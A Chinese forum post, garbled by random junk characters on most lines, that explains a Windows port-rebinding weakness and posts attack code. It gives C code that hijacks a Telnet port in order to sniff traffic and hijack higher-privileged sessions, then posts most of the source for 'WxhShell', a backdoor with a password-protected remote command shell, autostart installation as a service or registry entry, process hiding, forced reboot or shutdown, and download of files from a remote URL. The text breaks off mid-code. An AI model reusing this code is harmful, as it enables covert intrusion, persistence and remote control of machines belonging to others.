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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2iOn\ ^]x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VB>KT(n-b  
>tF3|:\  
  saddr.sin_family = AF_INET; 'Cv,:Q  
]0N'Wtbn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aD)$aK  
!ieMhJ5r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o95)-Wb  
n>Cl;cN=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +c)"p4m  
`=m[(CLb  
  这意味着什么?意味着可以进行如下的攻击: u#(& R"6  
6,C2PR_+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0IZaf%zYc  
aq~>$CHa  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /$NDH]a  
t][U`1>i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zED#+-7  
U'(Exr[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L{`S^'P<  
Xge]3Ub  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =BD}+(3  
%=p:\+`VI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s P=$>@3  
Y~I$goT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GMk\ l  
k^<s|8Y  
  #include TUE*mDRmP  
  #include }f rij1/G  
  #include pypW  
  #include    gut[q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DI9hy/T(  
  int main() <//82j+px  
  { eKRslMa  
  WORD wVersionRequested; mL5Nu+#  
  DWORD ret; j /d? c5  
  WSADATA wsaData; \9;SOAv  
  BOOL val; vjo@aY.x  
  SOCKADDR_IN saddr; j^4KczJl  
  SOCKADDR_IN scaddr; zk6al$3R  
  int err; RYhaQ &1i  
  SOCKET s; $ ~>3bik@  
  SOCKET sc; 8aDSRfv*  
  int caddsize; hz:^3F`>/&  
  HANDLE mt; $'Pn(eZHGv  
  DWORD tid;   q%H`/~AYM  
  wVersionRequested = MAKEWORD( 2, 2 ); kg,t[Jl  
  err = WSAStartup( wVersionRequested, &wsaData ); > L5fc".  
  if ( err != 0 ) { z+@ CzHCN  
  printf("error!WSAStartup failed!\n"); yH`4 sd  
  return -1; !-G'8a|7  
  } ( mV*7Z  
  saddr.sin_family = AF_INET; sb1Zm*m6  
   u_kcuN\Sq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ceiUpWMu,  
kXj rc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9gu$vF]9!  
  saddr.sin_port = htons(23); rbC4/9G\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !T+jb\O_  
  { c L+-- $L  
  printf("error!socket failed!\n"); Mn)>G36(  
  return -1; Oup5LH!sW  
  } p#14  
  val = TRUE; bxxazsj^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ';H"Ye:D=7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :ik$@5wp  
  { [_$r-FA  
  printf("error!setsockopt failed!\n"); :eK(9o  
  return -1; ioIOyj  
  } Drn{ucIs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Kmk}Yz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z`_`^ \"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8}B*a;d  
R,Gr{"H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "hE/f~\  
  { C(w?`]Qs  
  ret=GetLastError(); |_<'q h  
  printf("error!bind failed!\n"); iCz0T,  
  return -1; t=-t xnlr<  
  } nqp:nw  
  listen(s,2); /mdPYV  
  while(1) #F>7@N:5  
  { ^*6So3  
  caddsize = sizeof(scaddr); }JP0q  
  //接受连接请求 S\\3?[!p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W^o* ^v  
  if(sc!=INVALID_SOCKET) oK-T@ &-  
  { MU  }<-1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ywSV4ZtM  
  if(mt==NULL) E$u9Jbe  
  { ';'TCb{f*  
  printf("Thread Creat Failed!\n"); K;n2mXYGM  
  break; D]n"`< Ho  
  } =)h<" 2  
  } O }ES/<an  
  CloseHandle(mt); \hlQu{q.  
  } 7g* "AEk  
  closesocket(s); ;8| D4+  
  WSACleanup(); sl5y1W/]]  
  return 0; 7@[HRr  
  }   y_s^dQe  
  DWORD WINAPI ClientThread(LPVOID lpParam) <N4)X"s  
  { *\-R&8  
  SOCKET ss = (SOCKET)lpParam; asT/hsSNS  
  SOCKET sc; {2A| F{7>  
  unsigned char buf[4096]; zRO-oOJ  
  SOCKADDR_IN saddr; \(4"kY_=  
  long num; Dw%V.J/&o  
  DWORD val; 2 }9of[  
  DWORD ret; (31ia"i%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c `[,>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |"K<   
  saddr.sin_family = AF_INET; *Ce8( "v,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1v<,nABuJ6  
  saddr.sin_port = htons(23); @yGK $<R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AZj `o  
  { d9j+==S <  
  printf("error!socket failed!\n"); J|O=w(  
  return -1; -\6";_Y  
  }  |UudP?E  
  val = 100; $0kuR!U.N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qdM=}lbc  
  { gs xT  
  ret = GetLastError(); Q3@MRR^tY  
  return -1; k$ ya.b<X/  
  } }3b3^f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b I%Sq+"}  
  { pBZf=!+E  
  ret = GetLastError(); 2qA"emUM  
  return -1; : ~R Y  
  } Czl4^STiC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z<3{.e\e  
  { ?Aq \Gr  
  printf("error!socket connect failed!\n"); jfLkp>2E'  
  closesocket(sc); bNH72gX2Yh  
  closesocket(ss); tom1u>1n  
  return -1; P' ";L6h  
  } dy }O6  
  while(1) QbN7sg~~  
  { slQxz;t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cC4 2b2+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GlVb |O"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k=nN#SMn  
  num = recv(ss,buf,4096,0); *y}<7R  
  if(num>0) mY)Y47iL  
  send(sc,buf,num,0); bu2@~  
  else if(num==0) UY ^dFbJ  
  break; _,"?R]MO  
  num = recv(sc,buf,4096,0); )335X wA+  
  if(num>0) }L!%^siG_  
  send(ss,buf,num,0); vp[;rDsIJ$  
  else if(num==0) LR(Q.x  
  break; TKwMgC}<[  
  } a?d)l nk  
  closesocket(ss); |v Gb,&3  
  closesocket(sc); C;m,{MD  
  return 0 ; 9<" .1  
  } A^%li^qz  
4lb(qKea  
%8L>|QOX  
========================================================== ?Nbc#0pb7  
>qqI6@h]c  
下边附上一个代码,,WXhSHELL V[Z^Z  
!vrdu OB  
========================================================== _EusY3q  
|}FK;@'I6  
#include "stdafx.h" rnkq.  
.uoQ@3  
#include <stdio.h> 7A@iu*t  
#include <string.h> bG|aQ2HW  
#include <windows.h> odPdWV,&*  
#include <winsock2.h> &'mq).I2  
#include <winsvc.h> WGK:XfOBQ  
#include <urlmon.h> !{WIN%O  
u@@0YUa  
#pragma comment (lib, "Ws2_32.lib") ^xNs^wC.  
#pragma comment (lib, "urlmon.lib") ,A{'lu  
*GGiSt  
#define MAX_USER   100 // 最大客户端连接数 I,nW~;OV0  
#define BUF_SOCK   200 // sock buffer ?*nFz0cs^  
#define KEY_BUFF   255 // 输入 buffer 2 1LJ3rW_  
W1$<,4j@M  
#define REBOOT     0   // 重启 HCCEIgCT  
#define SHUTDOWN   1   // 关机 &|'t>-de,  
lMQ_S"  
#define DEF_PORT   5000 // 监听端口 <*Ex6/j  
|e%o  
#define REG_LEN     16   // 注册表键长度 l>kREfHq!{  
#define SVC_LEN     80   // NT服务名长度 >l>;"R9N  
=_"[ &^  
// 从dll定义API 4t]YHLBS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <mk'n6B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VEc^Ap1?'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1 7..  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p'fD:M:  
J% b`*?A  
// wxhshell配置信息 #Bih=A #  
struct WSCFG { {,9^k'9  
  int ws_port;         // 监听端口 $vR#<a,7>  
  char ws_passstr[REG_LEN]; // 口令 y-1!@|l0:6  
  int ws_autoins;       // 安装标记, 1=yes 0=no iPuX  
  char ws_regname[REG_LEN]; // 注册表键名 ]zt77'J  
  char ws_svcname[REG_LEN]; // 服务名 jG E=7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ofm?`SE*|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IQm[ ,Fh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Twi7g3}/jB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vzmw%f)_+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7<Yf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L3@upb  
Ld9YbL:  
}; $*k9e^{S  
!Z}d^$  
// default Wxhshell configuration CI}zu;4|  
struct WSCFG wscfg={DEF_PORT, 4H]~]?F&  
    "xuhuanlingzhe", sN_c4"\q  
    1, bzC| aUGM  
    "Wxhshell", 'LyEdlC]  
    "Wxhshell", tx9;8K3  
            "WxhShell Service", p_g#iH!*  
    "Wrsky Windows CmdShell Service", 7C::%OF~7  
    "Please Input Your Password: ", G%q^8#  
  1, [2l2w[7Rid  
  "http://www.wrsky.com/wxhshell.exe", <aPbKDF~V  
  "Wxhshell.exe" nRSiW*;R  
    }; kLfk2A;'i  
g2|qGfl{C  
// 消息定义模块 kgl7l?|O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &| guPZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !VzbNJ&'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +{5y,0R  
char *msg_ws_ext="\n\rExit."; e{}oQK  
char *msg_ws_end="\n\rQuit."; )<+t#5"  
char *msg_ws_boot="\n\rReboot..."; z5_#]:o&  
char *msg_ws_poff="\n\rShutdown..."; )[]*Y]vSx  
char *msg_ws_down="\n\rSave to "; `alQmGUZ  
:MFF*1  
char *msg_ws_err="\n\rErr!"; vTk\6o q  
char *msg_ws_ok="\n\rOK!"; 2x<A7l)6  
%RS~>pK1  
char ExeFile[MAX_PATH]; <|kS`y  
int nUser = 0; 7%0V?+]P  
HANDLE handles[MAX_USER]; F3Y/Miw  
int OsIsNt; >2)`/B9f4  
ih[!v"bv  
SERVICE_STATUS       serviceStatus; $.0l% $7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MJ..' $>TC  
6A ;,Ph2  
// 函数声明 7+Z%#G~T  
int Install(void); g)M"Cx.  
int Uninstall(void); hUo}n>Aa  
int DownloadFile(char *sURL, SOCKET wsh); >69-[#P!  
int Boot(int flag); 5Kw$QJ/  
void HideProc(void); /9 ^F_2'_  
int GetOsVer(void); }NgevsV>;  
int Wxhshell(SOCKET wsl); %0MvCm  
void TalkWithClient(void *cs); G oHdhne3  
int CmdShell(SOCKET sock); =mQdM]A)2  
int StartFromService(void); )%6h9xyXt  
int StartWxhshell(LPSTR lpCmdLine); ~#SLb=K   
7/>#yR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GX\6J]x=^2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8rEUZk  
m5'nqy F  
// 数据结构和表定义 .I#ss66h  
SERVICE_TABLE_ENTRY DispatchTable[] = {Y7dE?!`7  
{ +~{Honj[  
{wscfg.ws_svcname, NTServiceMain}, vWh]1G#'p[  
{NULL, NULL} &&s3>D^Ta  
}; 9!u&8#i  
=K:)%Qh  
// 自我安装 a^5.gfzA  
int Install(void) p G-9H3[f#  
{ /T\'&s3D+  
  char svExeFile[MAX_PATH]; J4l \  
  HKEY key; vS1#ien#  
  strcpy(svExeFile,ExeFile); 02RZ>m+  
H~ `JAplr  
// 如果是win9x系统,修改注册表设为自启动 ^lP;JT?  
if(!OsIsNt) { U-6pia /o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xro%AM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }1}L&M@  
  RegCloseKey(key); u$%;03hJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pcC/$5FQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wq"5-U;:w  
  RegCloseKey(key); Y A:!ULzR*  
  return 0; \nbGdka  
    } nb|KIW  
  } ,CED%  
} 7ZR0cJw;  
else { P~^VLnw  
Iss)7I  
// 如果是NT以上系统,安装为系统服务 WV?3DzeR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0vjlSHS;`.  
if (schSCManager!=0) .kf FaK  
{ *2^+QKDG  
  SC_HANDLE schService = CreateService S"Z.M _  
  ( ;Im%L=q9GL  
  schSCManager, E},^,65  
  wscfg.ws_svcname, h( V:-D  
  wscfg.ws_svcdisp, ]; Z[V  
  SERVICE_ALL_ACCESS, <oKoz0!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8ZN"-]*  
  SERVICE_AUTO_START, !+H)N  
  SERVICE_ERROR_NORMAL, >X58 zlxk  
  svExeFile, `iZ){JfAH  
  NULL, WFm\ bZ.  
  NULL, 30fqD1_{  
  NULL, Bid+,,  
  NULL, LLD#)Jl{?  
  NULL 7) zF8V  
  ); xN +Oca  
  if (schService!=0) 3bBCA9^se  
  { {"vTaY@  
  CloseServiceHandle(schService);  &peUC n  
  CloseServiceHandle(schSCManager); !3;KC"o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jM5w<T-2/  
  strcat(svExeFile,wscfg.ws_svcname); MY w3+B+Jj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2AdO   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AA &>6JB{  
  RegCloseKey(key); 1@<PcQBp  
  return 0; s%/x3anz=  
    } L} Rsg'U  
  } NjH` AMGBT  
  CloseServiceHandle(schSCManager); A9 ;!\Wo  
} r>,s-T!7  
} UpFm3gKF  
I(Gl8F\c~  
return 1; Y9r##r+  
} k/,7FDO?m  
h6;vOd~%  
// 自我卸载 jzb%?8ZJ  
int Uninstall(void) |6o!]~&e$1  
{ L )53o!  
  HKEY key; (kmrWx= $  
!4vepa}Y  
if(!OsIsNt) { ,k |QuOrCh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J>dIEW%u  
  RegDeleteValue(key,wscfg.ws_regname); cUj^aTpm  
  RegCloseKey(key); svRYdInBNu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C-tkYP  
  RegDeleteValue(key,wscfg.ws_regname); i38`2  
  RegCloseKey(key); +[B@83  
  return 0; (,I9|  
  } T?k!%5,Kj  
} ,JqCxb9  
} B6-1q& E/  
else { E@/* eJ  
qq '%9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :v B9z  
if (schSCManager!=0) |7)oX  
{ ;km^ OO$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q(\kCUy!  
  if (schService!=0) zFm:=,9  
  { 1)t*l;.  
  if(DeleteService(schService)!=0) { _~.S~;o!b  
  CloseServiceHandle(schService); ]Ei*I}  
  CloseServiceHandle(schSCManager); z2U^z*n{  
  return 0; MRN=-|fV^  
  } aL^ 58My&  
  CloseServiceHandle(schService); +[2ep"5H  
  } k@|Go )~  
  CloseServiceHandle(schSCManager); ESmWK;7b  
} KXT9Wt=  
} -LU%z'  
bc]SY =  
return 1; fJD+GvV$x  
} ?)O!(=6%'  
0)]?@"j  
// 从指定url下载文件 _^@>I8ix  
int DownloadFile(char *sURL, SOCKET wsh) ["WWaCcx  
{ U28frRa  
  HRESULT hr; "_ H 9]}Q  
char seps[]= "/"; T!X`"rI  
char *token; E RjMe'q4  
char *file; @iBaJ"*,  
char myURL[MAX_PATH]; S0w:R:q}L  
char myFILE[MAX_PATH]; !:3X{)4  
$&X-ay o  
strcpy(myURL,sURL); L>&9+<-B  
  token=strtok(myURL,seps); c&'5r OY~  
  while(token!=NULL) [w{x+6uX'  
  { #+8G`  
    file=token; i\dd  
  token=strtok(NULL,seps); ']U<R=5T$  
  } yrG=2{I  
V/]o':  
GetCurrentDirectory(MAX_PATH,myFILE); &3f^]n!@  
strcat(myFILE, "\\"); .&2~g A  
strcat(myFILE, file); g4^3H3Pd  
  send(wsh,myFILE,strlen(myFILE),0); +?v2MsF']  
send(wsh,"...",3,0); zuS4N?t`p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uc Ph*M  
  if(hr==S_OK) B &e'n<  
return 0; *~kHH  
else |f3 :9(p  
return 1; O,Ej m<nt  
7;9 Jn  
} |3G;Rh9w,  
 vg8Yc  
// 系统电源模块 }"M5"?  
int Boot(int flag) ]cM,m2^2  
{ r2m&z%N &  
  HANDLE hToken; \k3EFSm  
  TOKEN_PRIVILEGES tkp; IL{tm0$r  
+-NH 4vUg  
  if(OsIsNt) { yJW/yt.l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uj@d {AQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ff1!+P,  
    tkp.PrivilegeCount = 1; D"CU J?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; elz0t<V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,</Kn~b  
if(flag==REBOOT) { &l0 ,q=T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) et=i@PB)  
  return 0; 4 q\&Mb3  
} Y=D\  
else { [ d`m)MW-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nxr\Yey  
  return 0; =wlPm5  
} JPM~tp?;<  
  } :!wl/X ~  
  else { *tfD^nctO  
if(flag==REBOOT) { W<:x4gBa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .'b| pd  
  return 0; F *1w8+  
} |t~*!0>3  
else { fR]KXfZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O9rA3qv B  
  return 0; sGx3O i   
} 5 zz">-Q !  
} >qZl s'  
gxmY^" Jy  
return 1; Xi;<O&+  
} Aw&0R"{  
LfN,aW  
// win9x进程隐藏模块 z"-oD*ICw  
void HideProc(void) PYTwyqS  
{ Py#TXzEcC  
9Dp0Pi?29  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?JBA`,-  
  if ( hKernel != NULL ) M(vX.kF  
  { 0:JNkXZ:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q CO,f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $b)t`r+  
    FreeLibrary(hKernel); :!JQ<kV  
  } mbns%%GJU  
3vdFO: j  
return; 4v` G/w  
} CSY-{  
R6TT1Ka3c  
// 获取操作系统版本 L tUvFe  
int GetOsVer(void) W#2} EX  
{ "R"{xOQl  
  OSVERSIONINFO winfo; aYM~Ub:x{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )iid9K<HB  
  GetVersionEx(&winfo); /D964VR1M\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @9~x@[  
  return 1; [Sj"gLj  
  else *4%%^*g.I  
  return 0; A0OA7m:~4  
} Eihy|p  
"]|7%]  
// 客户端句柄模块 7A h   
int Wxhshell(SOCKET wsl) LTB rg[X  
{ Bg}l$?S  
  SOCKET wsh; &G?"I%Vw  
  struct sockaddr_in client; n6G&c4g<"  
  DWORD myID; 2@IL  n+#  
%cBOi_}}~  
  while(nUser<MAX_USER) iNc!z A4  
{ N6`U)=2o>h  
  int nSize=sizeof(client); hM[3l1o{|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *qu5o5Q  
  if(wsh==INVALID_SOCKET) return 1; 56 Z  
E#,\[<pc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U8-OQ:2.  
if(handles[nUser]==0) HD& Cp  
  closesocket(wsh); w@Asz9Lq%  
else Z}{]/=h  
  nUser++; Xpp v  
  } Uf MQ?(,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qoZ)"M  
?J-\}X  
  return 0; yL),G*[p\}  
} >TiE Y MW  
/8!n7a7  
// 关闭 socket sWB@'P:x  
void CloseIt(SOCKET wsh) ([^#.x)hz  
{ I@\D tQZ  
closesocket(wsh); w=3 j'y{f  
nUser--; y0-UO+ ;  
ExitThread(0); \&~YFjB  
} RAnF=1[v  
1;'-$K`}  
// 客户端请求句柄 }h1eB~6M  
void TalkWithClient(void *cs) bYZU}Kl;(  
{ _#MKpH  
><S(n#EB  
  SOCKET wsh=(SOCKET)cs; o 0T1pGs'  
  char pwd[SVC_LEN]; gf?N(,  
  char cmd[KEY_BUFF]; G:y+yE4  
char chr[1]; &n#yxv4  
int i,j; BO7XN;  
J Vxja<43  
  while (nUser < MAX_USER) { q"oNFHYPDs  
W\j)Vg__e  
if(wscfg.ws_passstr) { ,p /{!BX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k"C'8<T)'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p w5{=bD  
  //ZeroMemory(pwd,KEY_BUFF); C/H;|3.X  
      i=0; bwcr/J( Nb  
  while(i<SVC_LEN) { Fn iht<  
AJE$Z0{q  
  // 设置超时 w^("Pg`  
  fd_set FdRead; U=7nz|  
  struct timeval TimeOut; J#ClQ%  
  FD_ZERO(&FdRead); qS"#jxc==+  
  FD_SET(wsh,&FdRead); ]T)<@bmL  
  TimeOut.tv_sec=8; !dU$1:7  
  TimeOut.tv_usec=0; t%J1(H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }}ic{931  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7!h> < sx  
IF-y/]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jz3,vV fQ:  
  pwd=chr[0]; !s?SI=B8  
  if(chr[0]==0xd || chr[0]==0xa) { FvYciU!  
  pwd=0; t K/.9qP  
  break; L &hw- .Q  
  } >fth iA  
  i++; s$? LMfT  
    } &CSy>7&q  
3"< 0_3?W  
  // 如果是非法用户,关闭 socket %4Qs|CM)m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {qbe ye!  
} :>r W`= e'  
uv<_.Jq]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zx,9x*g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); So8 Dwz?  
Hb::;[bm:  
while(1) { iRlpNsN  
1_A_)l11  
  ZeroMemory(cmd,KEY_BUFF); |$e'y x6j  
,G5[?H;ZN  
      // 自动支持客户端 telnet标准   mw}Bl; - O  
  j=0; [ p~,;%  
  while(j<KEY_BUFF) { >iRkhA=Vg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &"I csxG  
  cmd[j]=chr[0]; Dg"szJ-   
  if(chr[0]==0xa || chr[0]==0xd) { K)se$vb6  
  cmd[j]=0; FpU8$o~r{  
  break; Q;!rN)  
  } m{?f,Q=u@  
  j++; %''L7o.#a  
    } Mp>(cs  
3 u4Q!U%(D  
  // 下载文件 U%q6n"[ Cr  
  if(strstr(cmd,"http://")) { tl\<:8pI"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); { V[}#Mf  
  if(DownloadFile(cmd,wsh)) J|DZi2o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OXbShA&1  
  else 5E"^>z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )7.DF|A  
  } hV0fkQ.|  
  else { EG|dN(qh  
'6WS<@%}  
    switch(cmd[0]) { t|i<}2  
  noL9@It0  
  // 帮助 s.Bb@Jq  
  case '?': { YURMXbj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,7c Rd}1Y  
    break; wT6zeEV~*  
  } < F;+A{M)  
  // 安装 # Q,EL73;  
  case 'i': { X<Z(,B  
    if(Install()) 3X11Gl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R3l{.{3p2  
    else zxCx2.7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $7c,<=  
    break; 3\Q9>>  
    } /]5*;kO`  
  // 卸载 M<n'ZDK `W  
  case 'r': { {srxc4R`  
    if(Uninstall()) `&7tADFB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -f mJkI  
    else 7>BfHb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w4Df?)Z  
    break; G$MEVfd"  
    } 3Cc#{X-+  
  // 显示 wxhshell 所在路径 D\9-/ p  
  case 'p': { UO@K:n  
    char svExeFile[MAX_PATH]; A)>#n)  
    strcpy(svExeFile,"\n\r"); )%MC*Z :^  
      strcat(svExeFile,ExeFile);  w:QO@  
        send(wsh,svExeFile,strlen(svExeFile),0); i2  c|_B  
    break; ^Y%_{   
    } :op_J!;  
  // 重启 y^}u L|=  
  case 'b': { ,NS*`F[O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O^row1D_  
    if(Boot(REBOOT)) lV %1I@[M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _W_< bI34  
    else { SeDk/}/~e  
    closesocket(wsh); p^|l ',e  
    ExitThread(0); ,&WwADZ-s  
    } =urGs`\  
    break; 4}v|^_x-i  
    } bIyg7X)/  
  // 关机 m 0vW<  
  case 'd': { 0FI |7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -|KZOea  
